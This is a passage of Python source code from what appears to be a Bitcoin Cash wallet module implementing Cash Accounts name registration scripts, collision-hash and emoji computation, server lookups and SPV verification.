address, addresses) for address in addresses: allowed_classes = (Address, UnknownAddress) if allow_unknown else (Address,) if not isinstance(address, allowed_classes): raise ArgumentError(f'Address of type \'{allowed_classes}\' expected', address) if isinstance(address, Address) and address.kind not in _addr_kind_data_types: raise ArgumentError('Invalid or unsupported address type', address) return True @staticmethod def _check_number_collision_hash(number, collision_hash): '''Raises ArgumentError if either number or collision_hash aren't to spec.''' if number is not None: # We don't raise on None if not isinstance(number, int) or number < 100: raise ArgumentError('Number must be an int >= 100') if collision_hash is not None: # We don't raise on None if isinstance(collision_hash, int): collision_hash = str(collision_hash) # grr.. it was an int if not isinstance(collision_hash, str) or not collision_hash_accept_re.match(collision_hash): raise ArgumentError('Collision hash must be a number string, right-padded with zeroes, of length 10') return number is not None and collision_hash is not None def is_complete(self, fast_check=False): '''Returns true iff we have the number and collision_hash data for this instance, as well as valid name and valid address.''' if fast_check: return self.name and self.address and self.number and self.collision_hash try: return self._check_name_address(self.name, self.address, allow_unknown=True, addresses=self.addresses) and self._check_number_collision_hash(self.number, self.collision_hash) except ArgumentError: return False def make_complete2(self, number, collision_hash, *, emoji=None): '''Make this ScriptOutput instance complete by filling in the number and collision_hash info. Raises ArgumentError on bad/out-of-spec args (None args are ok though, the cashacct just won't be complete).''' ok = self._check_number_collision_hash(number, collision_hash) self.number = number self.collision_hash = collision_hash self.emoji = emoji or self.emoji return ok def make_complete(self, block_height=None, block_hash=None, txid=None): '''Make this ScriptOutput instance complete by specifying block height, block_hash (hex string or bytes), and txid (hex string or bytes)''' ch = collision_hash(block_hash, txid) if block_hash and txid else None num = bh2num(block_height) if block_height is not None else None em = emoji(block_hash, txid) if ch else None return self.make_complete2(num, ch, emoji=em) def clear_completion(self): '''Make this ScriptOutput incomplete again.''' self.number = self.collision_hash = self.emoji = None def to_ui_string(self, ignored=True): ''' Overrides super to add cashaccount data ''' s = super().to_ui_string(ignored) extra = [] for a in __class__.attrs_extra: val = getattr(self, a, None) if val is not None: if a == "addresses": # For the addresses list, we just show how many there are # in the list. We do not support more than the primary # address anyway. If list is 1 or empty, skip a, val = "num_addresses", len(val) if val < 2: continue extra.append(f'{a}={val}') extra = ' '.join(extra) return f'{s} [CashAcct: {extra}]' if extra else f'{s} [CashAcct]' def block_height(self) -> int: ''' Convenience method to returns the block_height. Requires that this class have its 'number' attribute not None, otherwise returns 0. ''' return self.number + height_modification if self.number else 0 def __repr__(self): return f'<ScriptOutput (CashAcct) {self.__str__()}>' def __eq__(self, other): res = super().__eq__(other) if res and isinstance(other, __class__) and self is not other: # awkward.. we do a deep check if self and other are both this type for a in __class__.attrs_extra: res = res and getattr(self, a, None) == getattr(other, a, None) if not res: break return res def __ne__(self, other): return not self.__eq__(other) def __hash__(self): l = [self.script] for name in __class__.attrs_extra: v = getattr(self, name, None) if isinstance(v, list): v = tuple(v) l.append(v) return hash(tuple(l)) @staticmethod def _ensure_script(script): '''Returns script or script.script if script is a ScriptOutput instance. Raises if script is not bytes and/or not ScriptOutput. Always returns a bytes-like-object.''' if isinstance(script, ScriptOutputBase): script = script.script script = _ensure_bytes(script, "Script") return script @classmethod def parse_script(cls, script): '''Parses `script`, which may be either a ScriptOutput class, or raw bytes data. Will raise various exceptions if it cannot parse. Returns (name: str, address: Address) as a tuple. ''' script = cls._ensure_script(script) # Check prefix, length, and that the 'type' byte is one we know about if not cls._protocol_match_fast(script) or len(script) < 30: raise ArgumentError('Not a valid CashAcct registration script') script_short = script try: script_short = script[len(cls._protocol_prefix):] # take off the already-validated prefix ops = Script.get_ops(script_short) # unpack ops except Exception as e: raise ArgumentError('Bad CashAcct script', script_short.hex()) from e # Check for extra garbage at the end, too few items and/or other nonsense if not ops or not len(ops) >= 2 or not all(len(op) == 2 and op[1] for op in ops): raise ArgumentError('CashAcct script parse error', ops) name_bytes = ops[0][1] try: name = name_bytes.decode('ascii') except UnicodeError as e: raise ArgumentError('CashAcct names must be ascii encoded', name_bytes) from e addresses = [] addresses_preferred = [] # subset of above with types either 0x1 or 0x2, all valid Address instances (may be empty if registration contained no 0x1/0x2) try: # parse the list of payment data (more than 1), and try and grab # the first address we understand (type 1 or 2) for op in ops[1:]: def get_address(op): type_byte = op[1][0] hash160_bytes = op[1][1:] req_len = _data_type_lengths.get(type_byte) or 0 strict = req_len >= 0 req_len = abs(req_len) if type_byte in _data_types_addr_kind: if len(hash160_bytes) != req_len: if strict: raise AssertionError('hash160 had wrong length') else: util.print_error(f"parse_script: type 0x{type_byte:02x} had length {len(hash160_bytes)} != expected length of {req_len}, will proceed anyway") return Address(hash160_bytes, _data_types_addr_kind[type_byte]), type_byte elif type_byte in _unsupported_types: # unsupported type, just acknowledge this registration but # mark the address as unknown if len(hash160_bytes) != req_len: msg = f"parse_script: unsupported type 0x{type_byte:02x} has unexpected length {len(hash160_bytes)}, expected {req_len}" util.print_error(msg) if strict: raise AssertionError(msg) return UnknownAddress(hash160_bytes), type_byte else: raise ValueError(f'unknown cash address type 0x{type_byte:02x}') # / get_address adr, type_byte = get_address(op) addresses.append(adr) if type_byte in _preferred_types and isinstance(adr, Address): addresses_preferred.append(adr) del adr, type_byte # defensive programming assert addresses maybes = [a for a in (addresses_preferred or addresses) if isinstance(a, Address)] address = (maybes and maybes[0]) or addresses[0] except Exception as e: # Paranoia -- this branch should never be reached at this point raise ArgumentError('Bad address or address could not be parsed') from e cls._check_name_address(name, address, addresses=addresses, allow_unknown=True) # raises if invalid return name, address, addresses ############################################################################ # FACTORY METHODS # ############################################################################ @classmethod def create_registration(cls, name, address): '''Generate a CashAccounts registration script output for a given address. Raises ArgumentError (a ValueError subclass) if args are bad, otherwise returns an instance of this class.''' cls._check_name_address(name, address) # prepare payload # From: https://gitlab.com/cash-accounts/specification/blob/master/SPECIFICATION.md # # Sample payload (hex bytes) for registration of 'bv1' -> bitcoincash:qzgvpjawln2l8wfmsg2qwnnytcua02hy45vpdvrqu5 # (This example is a real tx with txid: 4a2da2a69fba3ac07b7047dd17927a890091f13a9e89440a4cd4cfb4c009de1f) # # hex bytes: # 6a040101010103627631150190c0cbaefcd5f3b93b8214074e645e39d7aae4ad # | | |......|| |....|| | |......................................| # | | |......|| |....|| | ↳ hash160 of bitcoincash:qzgvpjawln2l8wfmsg2qwnnytcua02hy45vpdvrqu5 # | | |......|| |....|| | # | | |......|| |....|| ↳ type (01 = p2pkh) # | | |......|| |....|| # | | |......|| |....|↳ OP_PUSH(0x15 = 21) # | | |......|| |....| # | | |......|| ↳'bv1' # | | |......|| # | | |......|↳OP_PUSH(3) # | | |......| # | | ↳protocol_code = 0x01010101 # | | # | ↳OP_PUSH(4) # | # ↳OP_RETURN class MyBCDataStream(BCDataStream): def push_data(self, data): self.input = self.input or bytearray() self.input += Script.push_data(data) bcd = MyBCDataStream() bcd.write(cls._protocol_prefix) # OP_RETURN -> 0x6a + 0x4 (pushdata 4 bytes) + 0x01010101 (protocol code) bcd.push_data(name.encode('ascii')) bcd.push_data( # type byte: 0x1 for ADDR_P2PKH, 0x2 for ADDR_P2SH _i2b(_addr_kind_data_types[address.kind]) # 20 byte haash160 + address.hash160 ) return cls(bytes(bcd.input)) @classmethod def from_script(cls, script, *, # these two optional args, if specified, take precedence number=None, collision_hash=None, # additionally these other args can be specified to # have this class calculate number and collision_hash # for you. Use either set of optional args but not both. block_height=None, # if set, self.number will be set. Cannot specify this & number # Cannot specify these & collision_hash at the same time block_hash=None, txid=None # if block_hash and txid are set, .emoji will be set too on returned class (along with .collision_hash) ): '''Create an instance from a `script`, which may be either a ScriptOutput class, or raw bytes data. Will raise various exceptions if it cannot parse and/or script or args are invalid.''' if block_height is not None: if number is not None: raise ArgumentError('Cannot specify both block_height and number') number = number_from_block_height(block_height) tup = (block_hash, txid) myemoji=None if any(tup): if not all(tup): raise ArgumentError('block_hash and txid must both be specified or not specified at all') if collision_hash is not None: raise ArgumentError('Cannot specify collision_hash, block_hash & txid together') collision_hash = chash(block_hash, txid) myemoji = emoji(block_hash, txid) return cls(script, number=number, collision_hash=collision_hash, emoji=myemoji) @classmethod def from_dict(cls, d: dict) -> object: ''' Create an isntance from a dict created by to_dict. ''' return cls(d['script'], # hex -> bytes will get auto-converted in c'tor number=d.get('number'), collision_hash=d.get('collision_hash'), emoji=d.get('emoji')) def to_dict(self) -> dict: assert self.script d = { 'script' : self.script.hex() } if self.number is not None: d['number'] = self.number if self.collision_hash is not None: d['collision_hash'] = self.collision_hash if self.emoji is not None: d['emoji'] = self.emoji return d # register the above class with the ScriptOutput protocol system ScriptOutputBase.protocol_classes.add(ScriptOutput) # Helper Functions def _ensure_bytes(arg, argname='Arg'): if isinstance(arg, str): try: arg = bytes.fromhex(arg) except ValueError as e: raise ArgumentError(f'{argname} could not be binhex decoded', arg) from e if not isinstance(arg, (bytes, bytearray)): raise ArgumentError(f'{argname} argument not a bytes-like-object', arg) if isinstance(arg, bytearray): arg = bytes(arg) # ensure actual bytes so hash() works. return arg def _collision_hash(block_hash, txid): ''' Returns the full sha256 collision hash as bytes given the hex strings and/or raw bytes as input. May raise ValueError or other. ''' bh = _ensure_bytes(block_hash, 'block_hash') tx = _ensure_bytes(txid, 'txid') if not all( len(x) == 32 for x in (bh, tx) ): raise ArgumentError('Invalid arguments', block_hash, txid) return bitcoin.sha256(bh + tx) def collision_hash(block_hash, txid): ''' May raise if block_hash and txid are not valid hex-encoded strings and/or raw bytes, otherwise returns the 0-padded collision hash string (always a str of length 10).''' ch = _collision_hash(block_hash, txid)[:4] ch = ''.join(reversed(str(int.from_bytes(ch, byteorder='big')))) # convert int to string, reverse it ch += '0' * (10 - len(ch)) # pad with 0's at the end return ch chash = collision_hash # alias. def emoji_index(block_hash, txid): ''' May raise. Otherwise returns an emoji index from 0 to 99. ''' ch = _collision_hash(block_hash, txid)[-4:] return int.from_bytes(ch, byteorder='big') % 100 emoji_list = ( 128123, 128018, 128021, 128008, 128014, 128004, 128022, 128016, 128042, 128024, 128000, 128007, 128063, 129415, 128019, 128039, 129414, 129417, 128034, 128013, 128031, 128025, 128012, 129419, 128029, 128030, 128375, 127803, 127794, 127796, 127797, 127809, 127808, 127815, 127817, 127819, 127820, 127822, 127826, 127827, 129373, 129381, 129365, 127805, 127798, 127812, 129472, 129370, 129408, 127850, 127874, 127853, 127968, 128663, 128690, 9973, 9992, 128641, 128640, 8986, 9728, 11088, 127752, 9730, 127880, 127872, 9917, 9824, 9829, 9830, 9827, 128083, 128081, 127913, 128276, 127925, 127908, 127911, 127928, 127930, 129345, 128269, 128367, 128161, 128214, 9993, 128230, 9999, 128188, 128203, 9986, 128273, 128274, 128296, 128295, 9878, 9775, 128681, 128099, 127838 ) emoji_set = frozenset(chr(o) for o in emoji_list) def emoji(block_hash, txid): ''' Returns the emoji character givern a block hash and txid. May raise.''' return chr(emoji_list[emoji_index(block_hash, txid)]) _emoji = emoji # alias for internal use if names clash def number_from_block_height(block_height): ''' Given a block height, returns the cash account 'number' (as int). This is simply the block height minus 563620. ''' return int(block_height - height_modification) def number_to_block_height(number): ''' Reciprocal of number_to_block_height ''' return int(number + height_modification) bh2num = number_from_block_height # alias num2bh = number_to_block_height # alias #### Lookup & Verification class Info(namedtuple("Info", "name, address, number, collision_hash, emoji, txid")): @classmethod def from_script(cls, script, txid): ''' Converts a script to an Info object. Note that ideally the passed-in script.is_complete() should be True otherwise most of the fields of the returned Info object will be None.''' return cls(name=script.name, address=script.address, number=script.number, collision_hash=script.collision_hash, emoji=script.emoji, txid=txid) def to_script(self): ''' Inverse of from_script, returns a (script, txid) tuple. ''' script = ScriptOutput.create_registration(name=self.name, address=self.address) script.make_complete2(number=self.number, collision_hash=self.collision_hash, emoji=self.emoji) return script, self.txid @classmethod def from_regtx(cls, regtx): return cls.from_script(regtx.script, regtx.txid) servers = [ "https://cashacct.imaginary.cash", # Runs official 'cash-accounts' lookup server software "https://api.cashaccount.info", # Runs official 'cash-accounts' lookup server software "https://cashacct.oregano.dk", # Runs official 'cash-accounts' lookup server software "https://electrum.imaginary.cash" # Runs alternative server software: https://gitlab.com/paOol/lookup-server ] debug = False # network debug setting. Set to True when developing to see more verbose information about network operations. timeout = 12.5 # default timeout used in various network functions, in seconds. def lookup(server, number, name=None, collision_prefix=None, timeout=timeout, exc=[], debug=debug) -> tuple: ''' Synchronous lookup, returns a tuple of: block_hash, List[ RegTx(txid, script) namedtuples ] or None on error. Note the .script in each returned RegTx will always have .is_complete() == True (has all fields filled-in from the lookup server). Optionally, pass a list as the `exc` parameter and the exception encountered will be returned to caller by appending to the list. Use `collision_prefix` and `name` to narrow the search, otherwise all results (if any) for a particular block (number) are returned. Name matching is case-insensitive. Additionally, as of the time of this writing, collision_prefix without a specified name will always return no results from the lookup server. Also, name should be a complete name and not a substring. Note: Resulting tx's are not verified (in the SPV sense) by this function and further verification (SPV) is necessary before presenting any results to the user for the purposes of sending funds.''' url = f'{server}/lookup/{number}' if name: name = name.strip().lower() url += f'/{name}' if collision_prefix: collision_prefix = collision_prefix.strip() url += f'/{collision_prefix}' try: ret = [] r = requests.get(url, allow_redirects=True, timeout=timeout) # will raise requests.exceptions.Timeout on timeout r.raise_for_status() d = r.json() if not isinstance(d, dict) or not d.get('results') or not isinstance(d.get('block'), int): raise RuntimeError('Unexpected response', r.text) res, block = d['results'], int(d['block']) bnumber = bh2num(block) if bnumber != number: raise RuntimeError('Bad response') if not isinstance(res, list) or number < 100: raise RuntimeError('Bad response') block_hash, header_prev = None, None unparseable = set() for d in res: txraw = d['transaction'] header_hex = d['inclusion_proof'][:blockchain.HEADER_SIZE*2].lower() header_prev = header_prev or header_hex if len(header_hex)//2 != blockchain.HEADER_SIZE: raise AssertionError('Could not get header') if not block_hash: block_hash = blockchain.hash_header_hex(header_hex) elif header_prev != header_hex: raise AssertionError('Differing headers in results') tx = Transaction(txraw) txid = Transaction._txid(txraw) op_return_count = 0 tx_regs = [] # there should be exactly 1 of these per tx, as per cash acount spec.. we reject tx's with more than 1 op_return for _typ, script, value in tx.outputs(): if isinstance(script, ScriptOutputBase): if script.is_opreturn(): op_return_count += 1 if isinstance(script, ScriptOutput): # note ScriptOutput here is our subclass defined at the top of this file, not addess.ScriptOutput script.make_complete(block_height=block, block_hash=block_hash, txid=txid) tx_regs.append(CashAcct.RegTx(txid, script)) if len(tx_regs) == 1 and op_return_count == 1: # we only accept tx's with exactly 1 OP_RETURN, as per the spec ret.extend(tx_regs) else: if debug: util.print_error(f"lookup: {txid} had no valid registrations in it using server {server} (len(tx_regs)={len(tx_regs)} op_return_count={op_return_count})") unparseable.add(txid) if unparseable: util.print_error(f"lookup: Warning for block number {number}: got " f"{len(res)} transactions from the server but " f"unable to parse {len(unparseable)} of them." " See if the Cash Accounts spec has changed!", unparseable) if debug: util.print_error(f"lookup: found {len(ret)} reg txs at block height {block} (number={number})") return block_hash, ret except Exception as e: if debug: util.print_error("lookup:", repr(e)) if isinstance(exc, list): exc.append(e) def lookup_asynch(server, number, success_cb, error_cb=None, name=None, collision_prefix=None, timeout=timeout, debug=debug): ''' Like lookup() above, but spawns a thread and does its lookup asynchronously. success_cb - will be called on successful completion with a single arg: a tuple of (block_hash, the results list). error_cb - will be called on failure with a single arg: the exception (guaranteed to be an Exception subclass). In either case one of the two callbacks will be called. It's ok for success_cb and error_cb to be the same function (in which case it should inspect the arg passed to it). Note that the callbacks are called in the context of the spawned thread, (So e.g. Qt GUI code using this function should not modify the GUI directly from the callbacks but instead should emit a Qt signal from within the callbacks to be delivered to the main thread as usual.) ''' def thread_func(): exc = [] res = lookup(server=server, number=number, name=name, collision_prefix=collision_prefix, timeout=timeout, exc=exc, debug=debug) called = False if res is None: if callable(error_cb) and exc: error_cb(exc[-1]) called = True else: success_cb(res) called = True if not called: # this should never happen util.print_error("WARNING: no callback called for ", threading.current_thread().name) t = threading.Thread(name=f"CashAcct lookup_asynch: {server} {number} ({name},{collision_prefix},{timeout})", target=thread_func, daemon=True) t.start() def lookup_asynch_all(number, success_cb, error_cb=None, name=None, collision_prefix=None, timeout=timeout, debug=debug): ''' Like lookup_asynch above except it tries *all* the hard-coded servers from `servers` and if all fail, then calls the error_cb exactly once. If any succeed, calls success_cb exactly once. Note: in this function success_cb is called with TWO args: - first arg is the tuple of (block_hash, regtx-results-list) - the second arg is the 'server' that was successful (server string) One of the two callbacks are guaranteed to be called in either case. Callbacks are called in another thread context so GUI-facing code should be aware of that fact (see nodes for lookup_asynch above). ''' assert servers, "No servers hard-coded in cashacct.py. FIXME!" my_servers = servers.copy() random.shuffle(my_servers) N = len(my_servers) q = queue.Queue() lock = threading.Lock() n_ok, n_err = 0, 0 def on_succ(res, server): nonlocal n_ok q.put(None) with lock: if debug: util.print_error("success", n_ok+n_err, server) if n_ok: return n_ok += 1 success_cb(res, server) def on_err(exc, server): nonlocal n_err q.put(None) with lock: if debug: util.print_error("error", n_ok+n_err, server, exc) if n_ok: return n_err += 1 if n_err < N: return if error_cb: error_cb(exc) def do_lookup_all_staggered(): ''' Send req. out to all servers, staggering the requests every 200ms, and stopping early after the first success. The goal here is to maximize the chance of successful results returned, with tolerance for some servers being unavailable, while also conserving on bandwidth a little bit and not unconditionally going out to ALL servers.''' t0 = time.time() for i, server in enumerate(my_servers): if debug: util.print_error("server:", server, i) lookup_asynch(server, number = number, success_cb = lambda res, _server=server: on_succ(res, _server), error_cb = lambda exc, _server=server: on_err(exc, _server), name = name, collision_prefix = collision_prefix, timeout = timeout, debug = debug) try: q.get(timeout=0.200) while True: # Drain queue in case previous iteration's servers also # wrote to it while we were sleeping, so that next iteration # the queue is hopefully empty, to increase the chances # we get to sleep. q.get_nowait() except queue.Empty: pass with lock: if n_ok: # check for success if debug: util.print_error(f"do_lookup_all_staggered: returning " f"early on server {i} of {len(my_servers)} after {(time.time()-t0)*1e3} msec") return t = threading.Thread(daemon=True, target=do_lookup_all_staggered) t.start() class ProcessedBlock: __slots__ = ( 'hash', # str binhex block header hash 'height', # int blockchain block height 'status_hash', # str binhex computed value derived from Hash(hash + height + reg_txs..) see compute_status_hash 'reg_txs' ) # dict of txid -> RegTx(txid, script) namedtuple def __init__(self, *args, **kwargs): assert not args, "This class only takes kwargs" assert all(k in self.__slots__ for k in kwargs), "Unknown kwarg specified" for s in self.__slots__: setattr(self, s, kwargs.get(s)) assert self.reg_txs is None or (isinstance(self.reg_txs, dict) and all(bytes.fromhex(k).hex() == bytes.fromhex(v.txid).hex() for k,v in self.reg_txs.items())) assert self.hash is None or (isinstance(self.hash, str) and bytes.fromhex(self.hash).hex()) assert self.height is None or (isinstance(self.height, int) and self.height >= activation_height) self.status_hash or self.set_status_hash() # tries to recompute if not provided assert self.status_hash is None or (isinstance(self.status_hash, str) and bytes.fromhex(self.status_hash)) def __repr__(self): return ( f'<ProcessedBlock at 0x{id(self):x} hash={self.hash} height={self.height} status_hash={self.status_hash}' + f' with {0 if not self.reg_txs else len(self.reg_txs)} registration(s)>') def set_status_hash(self) -> str: self.status_hash = self.compute_status_hash(self.hash, self.height, self.reg_txs) return self.status_hash def set_hash_from_raw_header_hex(self, rawhex : str) -> str: assert len(rawhex) >= blockchain.HEADER_SIZE * 2 self.hash = blockchain.hash_header_hex(rawhex[:blockchain.HEADER_SIZE*2]) return self.hash @staticmethod def compute_status_hash(hash_hex : str, height : int, reg_txs : dict) -> str: if hash_hex and isinstance(height, int) and isinstance(reg_txs, dict): ba = bytearray() ba.extend(int.to_bytes(height, length=4, byteorder='little')) ba.extend(bytes.fromhex(hash_hex)) for txid in sorted(reg_txs.keys()): ba.extend(bytes.fromhex(txid)) status_hash = bitcoin.hash_encode(bitcoin.Hash(ba)) return status_hash def __eq__(self, other): if other is self: return True if isinstance(other, ProcessedBlock): return bool(self.hash == other.hash and self.height == other.height and (self.status_hash or self.set_status_hash()) == (other.status_hash or other.set_status_hash())) return False def __neq__(self, other): return not self.__eq__(other) def __hash__(self): l = [] for name in self.__slots__: v = getattr(self, name, None) if isinstance(v, dict): # Python really needs a frozendict type. :) This dict doesn't # mutate anyway once constructed, so this is safe. v = tuple(v.items()) # uncomment below if we add a list to this class #elif isinstance(v, list): # v = tuple(v) l.append(v) return hash(tuple(l)) class CashAcct(util.PrintError, verifier.SPVDelegate): ''' Class implementing cash account subsystem such as verification, etc. ''' # info for a registration tx. may or may not be currently verified RegTx = namedtuple("RegTx", "txid, script") # info for a verified RegTx. Invariant should be all VerifTx's have a # corrseponding RegTx but not necessarily vice-versa. VerifTx = namedtuple("VerifTx", "txid, block_height, block_hash") def __init__(self, wallet): assert wallet, "CashAcct cannot be instantiated without a wallet" self.wallet = wallet self.network = None self.verifier = None self.lock = threading.Lock() # note, this lock is subordinate to wallet.lock and should always be taken AFTER wallet.lock and never before self._init_data() # below is used by method self.verify_block_asynch: self._blocks_in_flight = defaultdict(list) # number (eg 100-based-modified height) -> List[tuple(success_cb, error_cb)]; guarded with lock def _init_data(self): self.wallet_reg_tx = dict() # dict of txid -> RegTx self.ext_reg_tx = dict() # dict of txid -> RegTx self.v_tx = dict() # dict of txid -> VerifTx self.v_by_addr = defaultdict(set) # dict of addr -> set of txid self.v_by_name = defaultdict(set) # dict of lowercased name -> set of txid self.ext_unverif = dict() # ephemeral (not saved) dict of txid -> block_height. This is however re-computed in load() (TODO: see if this should not be the case) self.ext_incomplete_tx = dict() # ephemeral (not saved) dict of txid -> RegTx (all regtx's are incomplete here) # minimal collision hash encodings cache. keyed off (name.lower(), number, collision_hash) -> '03' string or '' string, serialized to disk for good UX on startup. self.minimal_ch_cache = caches.ExpiringCache(name=f"{self.wallet.diagnostic_name()} - CashAcct minimal collision_hash cache") # Dict of block_height -> ProcessedBlock (not serialized to disk) self.processed_blocks = caches.ExpiringCache(name=f"{self.wallet.diagnostic_name()} - CashAcct processed block cache", maxlen=5000, timeout=3600.0) def diagnostic_name(self): return f'{self.wallet.diagnostic_name()}.{__class__.__name__}' def start(self, network): assert network, "CashAcct start requires a valid network instance" if not self.network: assert not self.verifier self.network = network # our own private verifier, we give it work via the delegate methods self.verifier = verifier.SPV(self.network, self) self.network.add_jobs([self.verifier]) util.finalization_print_error(self.verifier) self.network.register_callback(self._fw_wallet_updated, ['wallet_updated']) def stop(self): if self.verifier: assert self.network self.network.unregister_callback(self._fw_wallet_updated) self.verifier.release() self.verifier = None self.network = None def fmt_info(self, info : Info, minimal_chash: str = None, emoji=False) -> str: ''' Given an Info object, returns a string of the form: name#123.1234; name2#100; name3#101.1234567890; If emoji=True, then we will append the emoji character like so: "NilacTheGrim#123.45; 🌶" (Note that the returned string will always end in a semicolon.) Will implicitly go out to network to cache the minimal_chash value if minimal_chash==None.. such that subsequent calls may return a shortened version once the minimal_chash is computed.''' name, number, chash = info.name, info.number, info.collision_hash if minimal_chash is None: minimal_chash = self.get_minimal_chash(name, number, chash) if minimal_chash: minimal_chash = '.' + minimal_chash emojipart = f' {info.emoji}' if emoji and info.emoji else '' return f"{name}#{number}{minimal_chash};{emojipart}" _number_re = re.compile(r'^[0-9]{3,}$') _collision_re = re.compile(r'^[0-9]{0,10}$') @staticmethod def strip_emoji(s : str) -> str: return ''.join(filter(lambda x: x not in emoji_set, s)) @classmethod def parse_string(cls, s : str) -> tuple: ''' Returns a (name, number, collision_prefix) tuple on parse success of a string of the form: "name#100" or "name#100.12" or "name#100.123;" (trailing ; is ignored). Returns None on parse failure. Note: - number must always be >= 100 otherwise None is returned. e.g. mark#99 is bad but mark#100 is good. - collision_prefix must be empty or length <= 10 otherwise None is returned. e.g. mark#100.01234567899 is too long but mark#100.0123456789 is ok Does not raise, merely returns None on all errors.''' s = s.strip() while s and s[-1] in emoji_set: s = s[:-1].strip() # strip trailing "<space><emoji>" while s.endswith(';'): s = s[:-1] # strip trailing ; parts = s.split('#') if len(parts) != 2: return None name, therest = parts if name and name[0] in emoji_set: # support a custom style string with "emoji name#number.123" as the format name = name[1:].strip() if not name_accept_re.match(name): return None parts = therest.split('.') if len(parts) == 1: number = parts[0] collision_prefix = '' elif len(parts) == 2: number, collision_prefix = parts else: return None if not cls._number_re.match(number): return None if not cls._collision_re.match(collision_prefix): return None try: number = int(number) except: return None if number < 100: return None return name, number, collision_prefix def resolve_verify(self, ca_string : str, timeout: float = timeout, exc: list = None) -> List[Tuple[Info, str]]: ''' Blocking resolver for Cash Account names. Given a ca_string of the form: name#number[.123], will verify the block it is on and do other magic. It will return a list of tuple of (Info, minimal_chash). This goes out to the network each time, so use it in GUI code that really needs to know verified CashAccount tx's (eg before sending funds), but not in advisory GUI code, since it can be slow (on the order of less than a second to several seconds depending on network speed). timeout is a timeout in seconds. If timer expires None is returned. It will return None on failure or nothing found. Optional arg `exc` is where to put the exception on network or other failure. ''' tup = self.parse_string(ca_string) if not tup: return name, number, chash = tup specified_chash = chash or '' done = threading.Event() pb = None def done_cb(thing): nonlocal pb if isinstance(thing, ProcessedBlock) and thing.reg_txs: pb = thing elif isinstance(thing, Exception) and isinstance(exc, list): exc.append(thing) done.set() self.verify_block_asynch(number, success_cb=done_cb, error_cb=done_cb, timeout=timeout) if not done.wait(timeout=timeout) or not pb: return matches = list() found = None lname = name.lower() for txid, rtx in pb.reg_txs.items(): rtx_lname = rtx.script.name.lower() if rtx_lname == lname: matches.append((txid, rtx_lname, rtx.script.collision_hash)) if not matches: return # no match d = self._calc_minimal_chashes_for_sorted_lcased_tups(sorted(t[1:] for t in matches)) ret = [] empty_dict = dict() for txid, lname, chash in matches: min_chash = d.get(lname, empty_dict).get(chash, None) if min_chash is None: self.print_error(f"resolve_verify: WARNING! Internal Error! Did not find calculated minimal chash for {lname}.{chash}. FIXME!") min_chash = chash rtx = pb.reg_txs[txid] if rtx.script.collision_hash.startswith(specified_chash): info = Info.from_regtx(rtx) ret.append((info, min_chash)) return ret or None def get_minimal_chash(self, name, number, collision_hash, *, success_cb = None, skip_caches = False, only_cached = False) -> str: ''' Returns a string of the minimal collision hash for a given name, number, collision_hash combination. This initially will just return collision_hash, but will go out to the network and subsequent calls will return the cached results from the asynch. network lookup should it complete successfully. Note that cached results get saved to wallet storage, so over the course of the life of a wallet at least the GUI for the wallet's own addresses should contain correct results here. Client code can use the 'ca_updated_minimal_chash' network callback (see below) to be notified asynchronously when minimal_chash's are updated. Optionally client code can supply a success_cb callback function which will be passed 2 args: (name, number, collision_hash), minimal_collision_hash Callback if specified is guaranteed to be called before or after this function returns, but it may be called in another thread.''' key = (name.lower(), number, collision_hash) def call_success_cb(min_ch): ''' Inform caller if they supplied a callback that the process is done. ''' if success_cb: success_cb((name, number, collision_hash), min_ch) found, pb_cached = None, None if not skip_caches: with self.lock: found = self.minimal_ch_cache.get(key) if found is None: # See if we have the block cached pb_cached = self.processed_blocks.get(num2bh(number)) if found is None and pb_cached is not None: # We didn't have the chash but we do have the block, use that # immediately without going out to network tup = self._calc_minimal_chash(name, collision_hash, pb_cached) if tup: found = tup[1] with self.lock: # Cache result self.minimal_ch_cache.put(key, found) # clean up after ourselves del tup if found is not None: call_success_cb(found) return found elif only_cached: call_success_cb(collision_hash) return collision_hash else: def do_lookup(): t0 = time.time() def on_success(pb : ProcessedBlock): minimal_chash = collision_hash # start with worst-case, so finally block below has data no matter what happens.. try: if bh2num(pb.height) != number: self.print_error(f"get_minimal_chash: WARNING - Internal error. pb.height: {pb.height} != num2bh: {num2bh(number)}") return tup = self._calc_minimal_chash(name, collision_hash, pb) if not tup: # hmm. empty results.. or bad lookup. in either case, # don't cache anything. self.print_error("get_minimal_chash: no results found for", name, number, collision_hash) return rtx, minimal_chash = tup with self.lock: self.minimal_ch_cache.put(key, minimal_chash) self.print_error(f"get_minimal_chash: network lookup completed in {time.time()-t0:1.2f} seconds") network = self.network # capture network obj to avoid race conditions with self.stop() if network and rtx and minimal_chash != collision_hash: network.trigger_callback('ca_updated_minimal_chash', self, Info.from_regtx(rtx), minimal_chash) finally: call_success_cb(minimal_chash) # /on_success self.verify_block_asynch(number=number, success_cb=on_success) if self.network: # only do this if not 'offline' do_lookup() # start the asynch lookup else: # no network, just call success_cb anyway with what we have so caller doesn't block on waiting for callback... call_success_cb(collision_hash) # Immediately return the long-form chash so we give the caller a # result immediately, even if it is not the final result. # The caller should subscribe to the ca_updated_minimal_chash # network signal to get final minimal_chash when it is ready. return collision_hash def get_cashaccounts(self, domain=None, inv=False) -> List[Info]: ''' Returns a list of Info objects for verified cash accounts in domain. Domain must be an iterable of addresses (either wallet or external). If domain is None, every verified cash account we know about is returned. If inv is True, then domain specifies addresses NOT to include in the results (i.e. eevery verified cash account we know about not in domain be returned). ''' if domain is None: domain = self.v_by_addr if not inv else set() ret = [] seen = set() with self.lock: if inv: domain = set(self.v_by_addr) - set(domain) for addr in domain: txids = self.v_by_addr.get(addr, set()) for txid in txids: script = self._find_script(txid) if script and txid not in seen: seen.add(txid) ret.append(Info.from_script(script, txid)) return ret def get_wallet_cashaccounts(self) -> List[Info]: ''' Convenience method, returns all the verified cash accounts we know about for wallet addresses only. ''' return self.get_cashaccounts(domain=self.wallet.get_addresses()) def get_external_cashaccounts(self) -> List[Info]: ''' Convenience method, retruns all the verified cash accounts we know about that are not for wallet addresses. ''' return self.get_cashaccounts(domain=self.wallet.get_addresses(), inv=True) def load(self): ''' Note: loading should happen before threads are started, so no lock is needed.''' self._init_data() dd = self.wallet.storage.get('cash_accounts_data', {}) wat_d = dd.get('wallet_reg_tx', {}) eat_d = dd.get('ext_reg_tx', {}) vtx_d = dd.get('verified_tx', {}) min_enc_l = dd.get('minimal_ch_cache', []) seen_scripts = {} for txid, script_dict in wat_d.items(): txid = txid.lower() script = ScriptOutput.from_dict(script_dict) if script.is_complete(): # sanity check seen_scripts[txid] = script # Note we allow incomplete scripts in the wallet_reg_tx dict because # the user may close wallet and restart and then verifier will see # the tx as verified as it 